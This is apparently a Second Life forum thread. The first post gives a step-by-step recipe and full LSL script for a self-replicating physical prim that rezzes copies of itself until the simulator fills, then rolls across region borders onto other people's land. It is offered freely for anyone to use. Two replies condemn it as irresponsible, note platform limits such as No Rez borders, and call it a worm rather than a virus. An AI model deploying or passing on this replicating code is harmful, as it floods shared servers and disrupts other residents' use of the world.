This is a proof-of-concept thing. Fiddling with recursion and inserting some extra scripts would make it more effective. However, he's a quick recipe for writing an in-world, self-replicating virus: 1. Create a sphere prim. Make it physical. 2. Name the prim "Wanker" (or whatever, but if you change the name, adjust the following code). 3. Insert this code into your prim: integer X;
integer chan;
default
{
state_entry()
{
llAllowInventoryDrop(TRUE);
}
on_rez(integer param)
{
if (param > 0)
{
chan = param;
}
else if (param > 255)
{
chan = 1;
}
else
{
chan = 1;
}
llAllowInventoryDrop(TRUE);
integer i;
for (i = 0; i < 300; ++i);
llSay(chan, (string)llGetKey());
for (i = 0; i < 300; ++i);
llRezObject("Wanker", llGetPos()+<0, 0, .5>, <0,0,0>, <0,0,0,0>, chan + 1);
X = llListen(chan + 1, "", NULL_KEY, "");
}
listen(integer channel, string name, key id, string message)
{
llGiveInventory((key)message, "Wanker");
llListenRemove(X);
}
} 4. Take a copy of your prim, and then put that copy from inventory in the first prim. 5. Take a second copy of the prim -- the prim should not have a script and a similarly named prim in it. When you rez the prim, it will start copying itself and should do so until the sim fills up. By making the "Wanker" prim sphere and physical, it'll roll. This way, it'll go across sim borders and on to other people's land. Feel free to give it a whirl. This is all open, free, copyable, and if anyone wants to sell it, you're welcome!

This strikes me as continuing a crusade from another set of threads. Here's my take on the matter.
Knowledge is power, but as it stands we have little to fear from things like this.
Why? Well, most Linden borders are No Rez, and sandboxen clear themselves at a certain threshhold.
Anyway, this sort of thing proves a point - there's a fine line between a "feature" and outright abuse. Stuff like this, even in jest, gives people like me a bad name, and I can't say I'm very pleased about it. If someone finds this "funny," I will happily point out that doing this sort of thing repeatedly will likely get you, and your scripts, banned if abused.
Case in point: Scripters and average people alike should use discretion, or our grid will be in trouble and be slowly dismantled. I would be amused if not for the fact this and other threads throw everything I stand for in my face. Otherwise, I doubt I'll say more about this.

Posting this seems irresponsible in the extreme. There's no possible legitimate use for such a system.
edit: Also, this is a worm, not a virus, as there is no mechanism for it to infect other primitives or scripts.
